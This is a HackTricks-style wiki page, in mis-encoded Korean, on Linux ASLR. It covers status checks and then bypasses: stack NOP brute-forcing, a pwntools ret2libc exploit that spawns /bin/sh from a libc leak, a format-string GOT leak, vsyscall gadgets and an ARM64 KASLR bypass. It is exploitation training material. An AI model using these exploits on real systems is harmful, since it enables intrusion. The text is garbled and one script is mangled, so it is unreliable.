ASLR
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
**Address Space Layout Randomization (ASLR)**์ ์ด์ ์ฒด์ ์์ ์์คํ ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ํ๋ก์ธ์ค๊ฐ ์ฌ์ฉํ๋ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ๋ฌด์์ํํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๋ณด์ ๊ธฐ๋ฒ์ ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ๊ณต๊ฒฉ์๊ฐ stack, heap, libraries์ ๊ฐ์ ํน์ ํ๋ก์ธ์ค ๋ฐ ๋ฐ์ดํฐ์ ์์น๋ฅผ ์์ธกํ๊ธฐ๊ฐ ํจ์ฌ ์ด๋ ค์์ ธ์, ํนํ buffer overflows์ ๊ฐ์ ํน์ ์ ํ์ exploits๋ฅผ ์ํํฉ๋๋ค.
ASLR ์ํ ํ์ธ
Linux ์์คํ
์์ ASLR ์ํ๋ฅผ ํ์ธํ๋ ค๋ฉด /proc/sys/kernel/randomize_va_space ํ์ผ์ ๊ฐ์ ์ฝ์ผ๋ฉด ๋ฉ๋๋ค. ์ด ํ์ผ์ ์ ์ฅ๋ ๊ฐ์ ์ ์ฉ๋๋ ASLR์ ์ ํ์ ๊ฒฐ์ ํฉ๋๋ค:
- 0: ๋ฌด์์ํ ์์. ๋ชจ๋ ๊ฒ์ด ์ ์ ์ ๋๋ค.
- 1: ๋ณด์์ ๋ฌด์์ํ. ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ, stack, mmap(), VDSO page๊ฐ ๋ฌด์์ํ๋ฉ๋๋ค.
- 2: ์ ์ฒด ๋ฌด์์ํ. ๋ณด์์ ๋ฌด์์ํ๋ก ๋ฌด์์ํ๋๋ ์์๋ค์ ์ถ๊ฐ๋ก,
brk()๋ก ๊ด๋ฆฌ๋๋ ๋ฉ๋ชจ๋ฆฌ๋ ๋ฌด์์ํ๋ฉ๋๋ค.
๋ค์ ๋ช ๋ น์ผ๋ก ASLR ์ํ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
cat /proc/sys/kernel/randomize_va_space
ASLR ๋นํ์ฑํ
ASLR๋ฅผ ๋นํ์ฑํํ๋ ค๋ฉด /proc/sys/kernel/randomize_va_space ๊ฐ์ 0์ผ๋ก ์ค์ ํฉ๋๋ค. ASLR ๋นํ์ฑํ๋ ์ผ๋ฐ์ ์ผ๋ก ํ
์คํธ๋ ๋๋ฒ๊น
์ํฉ ์ด์ธ์์๋ ๊ถ์ฅ๋์ง ์์ต๋๋ค. ๋ค์์ ๋นํ์ฑํํ๋ ๋ฐฉ๋ฒ์
๋๋ค:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
๋ค์ ๋ช ๋ น์ผ๋ก ์คํํ ๋ ASLR์ ๋นํ์ฑํํ ์๋ ์์ต๋๋ค:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR ํ์ฑํ
ASLR์ ํ์ฑํํ๋ ค๋ฉด /proc/sys/kernel/randomize_va_space ํ์ผ์ ๊ฐ 2๋ฅผ ์ธ ์ ์์ต๋๋ค. ์ด ์์
์ ์ผ๋ฐ์ ์ผ๋ก root ๊ถํ์ด ํ์ํฉ๋๋ค. ์์ ํ ๋ฌด์์ํ๋ ๋ค์ ๋ช
๋ น์ผ๋ก ์ํํ ์ ์์ต๋๋ค:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
์ฌ๋ถํ ์ ์ง์์ฑ
echo ๋ช
๋ น์ผ๋ก ์ํํ ๋ณ๊ฒฝ์ ์ผ์์ ์ด๋ฉฐ ์ฌ๋ถํ
ํ๋ฉด ์ด๊ธฐํ๋ฉ๋๋ค. ๋ณ๊ฒฝ์ ์๊ตฌ์ ์ผ๋ก ์ ์ฉํ๋ ค๋ฉด /etc/sysctl.conf ํ์ผ์ ํธ์งํ์ฌ ๋ค์ ์ค์ ์ถ๊ฐํ๊ฑฐ๋ ์์ ํด์ผ ํฉ๋๋ค:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
ํ์ผ /etc/sysctl.conf์ ํธ์งํ ํ, ๋ณ๊ฒฝ์ฌํญ์ ์ ์ฉํ๋ ค๋ฉด:
sudo sysctl -p
This will ensure that your ASLR settings remain across reboots.
์ฐํ ๋ฐฉ๋ฒ
32bit brute-forcing
PaX๋ ํ๋ก์ธ์ค ์ฃผ์ ๊ณต๊ฐ์ 3๊ฐ์ ๊ทธ๋ฃน์ผ๋ก ๋๋๋๋ค:
- Code and data (initialized and uninitialized):
.text,.data, and.bssโ> 16 bits of entropy in thedelta_execvariable. ์ด ๋ณ์๋ ๊ฐ ํ๋ก์ธ์ค๋ง๋ค ๋ฌด์์๋ก ์ด๊ธฐํ๋๋ฉฐ ์ด๊ธฐ ์ฃผ์์ ๋ํด์ง๋๋ค. - Memory allocated by
mmap()and shared libraries โ> 16 bits, nameddelta_mmap. - The stack โ> 24 bits, referred to as
delta_stack. ๊ทธ๋ฌ๋ ์ค์ ๋ก๋ 11 bits๋ง ์ฌ์ฉํฉ๋๋ค(10๋ฒ์งธ ๋ฐ์ดํธ๋ถํฐ 20๋ฒ์งธ ๋ฐ์ดํธ ํฌํจ), 16๋ฐ์ดํธ๋ก ์ ๋ ฌ โ> ๊ฒฐ๊ณผ์ ์ผ๋ก 524,288 possible real stack addresses๊ฐ ๋ฉ๋๋ค.
์์ ๋ด์ฉ์ 32-bit ์์คํ ์ ์ํ ๊ฒ์ด๋ฉฐ, ๊ฐ์๋ ์ต์ข ์ํธ๋กํผ๋ก ์ธํด exploit์ด ์ฑ๊ณตํ ๋๊น์ง ์คํ์ ๋ฐ๋ณตํ๋ฉด ASLR์ ์ฐํํ ์ ์์ต๋๋ค.
Brute-force ideas:
- ๋ง์ฝ shellcode ์์ ํฐ NOP sled๋ฅผ ๋ ์ ์์ ๋งํผ overflow๊ฐ ์ถฉ๋ถํ ํฌ๋ค๋ฉด, ํ๋ฆ์ด NOP sled์ ์ผ๋ถ๋ฅผ ๊ฑด๋๋ธ ๋๊น์ง stack์ ์ฃผ์๋ฅผ brute-forceํ ์ ์์ต๋๋ค.
- overflow๊ฐ ๊ทธ๋ฆฌ ํฌ์ง ์๊ณ exploit์ ๋ก์ปฌ์์ ์คํํ ์ ์๋ ๊ฒฝ์ฐ, NOP sled์ shellcode๋ฅผ environment variable์ ์ถ๊ฐํ๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
- exploit๊ฐ ๋ก์ปฌ์ด๋ผ๋ฉด libc์ base ์ฃผ์๋ฅผ brute-forceํด๋ณผ ์ ์์ต๋๋ค(32bit ์์คํ ์์ ์ ์ฉ):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- ์๊ฒฉ server๋ฅผ ๊ณต๊ฒฉํ๋ ๊ฒฝ์ฐ, ์ธ์๋ก 10์ ์ ๋ฌํ๋ ์์๋ก **brute-force the address of the
libcfunctionusleep**๋ฅผ ์๋ํ ์ ์์ต๋๋ค. ๋ง์ฝ ์ด๋ ์์ ์ server๊ฐ ์๋ตํ๋ ๋ฐ 10s ์ถ๊ฐ๋ก ๊ฑธ๋ฆฐ๋ค๋ฉด, ํด๋น ํจ์์ ์ฃผ์๋ฅผ ์ฐพ์ ๊ฒ์ ๋๋ค.
Tip
64bit ์์คํ ์์๋ ์ํธ๋กํผ๊ฐ ํจ์ฌ ๋์ ์ด ๋ฐฉ๋ฒ์ ๊ฐ๋ฅํ์ง ์์ต๋๋ค.
64 bits stack brute-forcing
env variables๋ก stack์ ํฐ ๋ถ๋ถ์ ์ฑ์ด ๋ค์ binary๋ฅผ ์๋ฐฑ/์์ฒ ๋ฒ locally์์ abuseํ์ฌ exploitํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
๋ค์ ์ฝ๋๋ just select an address in the stackํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ฃผ๋ฉฐ, ๋งค few hundreds of executions๋ง๋ค ๊ทธ ์ฃผ์์ NOP instruction์ด ๋ค์ด ์๊ฒ ๋๋ ๊ณผ์ ์ ์ค๋ช
ํฉ๋๋ค:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force ์คํ NOP ํ์ง
```python import subprocess import tracebackStart the process
nop = bโ\xD5\x1F\x20\x03โ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { โaโ: shellcode_env_var, โbโ: shellcode_env_var, โcโ: shellcode_env_var, โdโ: shellcode_env_var, โeโ: shellcode_env_var, โfโ: shellcode_env_var, โgโ: shellcode_env_var, โhโ: shellcode_env_var, โiโ: shellcode_env_var, โjโ: shellcode_env_var, โkโ: shellcode_env_var, โlโ: shellcode_env_var, โmโ: shellcode_env_var, โnโ: shellcode_env_var, โoโ: shellcode_env_var, โpโ: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=โ\rโ)
Define the path to your binary
binary_path = โ./aslr-testingโ
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if โ0xd5โ in str(output): print(str(cont) + โ -> โ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
ํ๋ก์ธ์ค์ **`/proc/[pid]/stat`** ํ์ผ์ ํญ์ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ์ฝ์ ์ ์์ผ๋ฉฐ ๋ค์๊ณผ ๊ฐ์ ํฅ๋ฏธ๋ก์ด ์ ๋ณด๋ฅผ **ํฌํจ**ํ๊ณ ์์ต๋๋ค:
- **startcode** & **endcode**: ๋ฐ์ด๋๋ฆฌ์ **TEXT**์ ๊ด๋ จ๋ ์ยทํ ์ฃผ์
- **startstack**: **stack**์ ์์ ์ฃผ์
- **start_data** & **end_data**: **BSS**๊ฐ ์์นํ ์ยทํ ์ฃผ์
- **kstkesp** & **kstkeip**: ํ์ฌ **ESP** ๋ฐ **EIP** ์ฃผ์
- **arg_start** & **arg_end**: **cli arguments**๊ฐ ์์นํ ์ยทํ ์ฃผ์
- **env_start** &**env_end**: **env variables**๊ฐ ์์นํ ์ยทํ ์ฃผ์
๋ฐ๋ผ์, ๊ณต๊ฒฉ์๊ฐ ๊ณต๊ฒฉ ๋์ ๋ฐ์ด๋๋ฆฌ์ ๋์ผํ ์ปดํจํฐ์ ์๊ณ ์ด ๋ฐ์ด๋๋ฆฌ๊ฐ raw arguments๋ก ์ธํ ์ค๋ฒํ๋ก๋ฅผ ์์ํ์ง ๋ชปํ๋ฉฐ ๋์ ์ด ํ์ผ์ ์ฝ์ ๋ค ์กฐ์ ๊ฐ๋ฅํ ๋ค๋ฅธ **input that can be crafted after reading this file**์์ ์ค๋ฒํ๋ก๊ฐ ๋ฐ์ํ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ์ด ํ์ผ์์ ๋ช๋ช ์ฃผ์๋ฅผ ์ป์ด ์ต์คํ๋ก์์ ์ํ ์คํ์
์ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
### Having a leak
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
buffer overflow๋ฅผ ์ ์ฉํ๋ฉด ret2plt๋ฅผ ์ด์ฉํด libc์ ํจ์ ์ฃผ์๋ฅผ exfiltrateํ ์ ์์ต๋๋ค. ํ์ธ:
- Format Strings Arbitrary Read
ret2plt์ ๋ง์ฐฌ๊ฐ์ง๋ก, format strings ์ทจ์ฝ์ ์ ํตํด arbitrary read๊ฐ ๊ฐ๋ฅํ๋ฉด GOT์์ libc function์ ์ฃผ์๋ฅผ exfiltrateํ ์ ์์ต๋๋ค. ๋ค์ example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
์คํ ๋ด๋ถ์ ์ฃผ์๋ฅผ ์ ์ฉํ์ฌ ASLR์ ์ฐํํด ๋ณด์ธ์:
vsyscall
The vsyscall ๋ฉ์ปค๋์ฆ์ ์ผ๋ถ system call์ user space์์ ์คํํ ์ ์๊ฒ ํ์ฌ ์ฑ๋ฅ์ ํฅ์์ํต๋๋ค. ๋น๋ก ์ด๋ค์ ๋ณธ์ง์ ์ผ๋ก ์ปค๋์ ์ผ๋ถ์
๋๋ค. vsyscalls์ ์ค์ํ ์ฅ์ ์ ๊ทธ๋ค์ **๊ณ ์ ๋ ์ฃผ์(fixed addresses)**์ ์์ผ๋ฉฐ, ์ด ์ฃผ์๋ค์ ASLR(Address Space Layout Randomization)์ ๋์์ด ์๋๋๋ค. ์ด๋ฌํ ๊ณ ์ ์ฑ ๋๋ฌธ์ ๊ณต๊ฒฉ์๋ ํด๋น ์ฃผ์๋ฅผ ์์๋ด๊ณ ์ต์คํ๋ก์์ ์ฌ์ฉํ๊ธฐ ์ํด information leak ์ทจ์ฝ์ ์ ํ์๋ก ํ์ง ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์ฌ๊ธฐ์ ๋งค์ฐ ํฅ๋ฏธ๋ก์ด gadgets๋ฅผ ์ฐพ๊ธฐ ์ด๋ ต์ต๋๋ค(์๋ฅผ ๋ค์ด ret;์ ๋๋ฑํ ๊ฒ์ ์ป๋ ๊ฒ์ ๊ฐ๋ฅ).
(The following example and code is from this writeup)
For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.
์์ vmmap/vsyscall ๋ฐ gadget lookup
```text efโค vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gefโค x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gefโค x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gefโค x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gefโค x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
๋ฐ๋ผ์ ์ปค๋์ด CONFIG_COMPAT_VDSO๋ก ์ปดํ์ผ๋ ๊ฒฝ์ฐ vdso ์ฃผ์๊ฐ ๋ฌด์์ํ๋์ง ์์ผ๋ฏ๋ก vdso๋ฅผ ์ ์ฉํด ASLR์ bypassํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ์์ธํ ๋ด์ฉ์ ๋ค์์ ํ์ธํ์ธ์:
KASLR on ARM64 (Android): bypass via fixed linear map
๋ง์ arm64 Android ์ปค๋์์ kernel linear map (direct map)์ base๋ ๋ถํ ๊ฐ์ ๊ณ ์ ๋์ด ์์ต๋๋ค. ๋ฌผ๋ฆฌ ํ์ด์ง์ Kernel VAs๊ฐ ์์ธก ๊ฐ๋ฅํด์ ธ direct map์ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ํ๊น์ ๋ํด KASLR์ด ๋ฌด๋ ฅํ๋ฉ๋๋ค.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsto findmemstart_addr- ํด๋น ์ฃผ์์์ 8๋ฐ์ดํธ(LE)๋ฅผ any kernel read๋ฅผ ์ฌ์ฉํด ์ฝ์ต๋๋ค (์: tracing-BPF helper๊ฐ
BPF_FUNC_probe_read_kernel๋ฅผ ํธ์ถํ๋ ๊ฒฝ์ฐ) - Compute direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- ๋์์ด direct map ๋ด์ ์๊ฑฐ๋ direct map์ ํตํด ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒฝ์ฐ(์: page tables, ๋ฌผ๋ฆฌ ํ์ด์ง์์ kernel objects๋ฅผ ์กฐ์/๊ด์ฐฐํ ์ ์๋ ๊ฒฝ์ฐ) ๋ณ๋์ KASLR leak๊ฐ ํ์ ์์ต๋๋ค.
- arm64 Android์์ ์ ๋ขฐํ ์ ์๋ ์์ R/W ๋ฐ kernel ๋ฐ์ดํฐ ํ๊นํ ์ด ๋จ์ํด์ง๋๋ค.
Reproduction summary
grep memstart /proc/kallsyms-> address ofmemstart_addr- Kernel read -> decode 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
tracing-BPF helpers์ ์ ๊ทผํ๋ ค๋ฉด ์ถฉ๋ถํ ๊ถํ์ด ํ์ํฉ๋๋ค; any kernel read primitive ๋๋ info leak์ด๋ฉด
PHYS_OFFSET๋ฅผ ์ป๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค.
How itโs fixed
- ์ ํ๋ kernel VA ๊ณต๊ฐ๊ณผ CONFIG_MEMORY_HOTPLUG๊ฐ ๋ฏธ๋ hotplug๋ฅผ ์ํด VA๋ฅผ ์์ฝํ์ฌ linear map์ ๊ฐ์ฅ ๋ฎ์ VA(๊ณ ์ base)๋ก ๋ฐ์ด๋ ๋๋ค.
- Upstream arm64๋ linear-map randomization์ ์ ๊ฑฐํ์ต๋๋ค (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


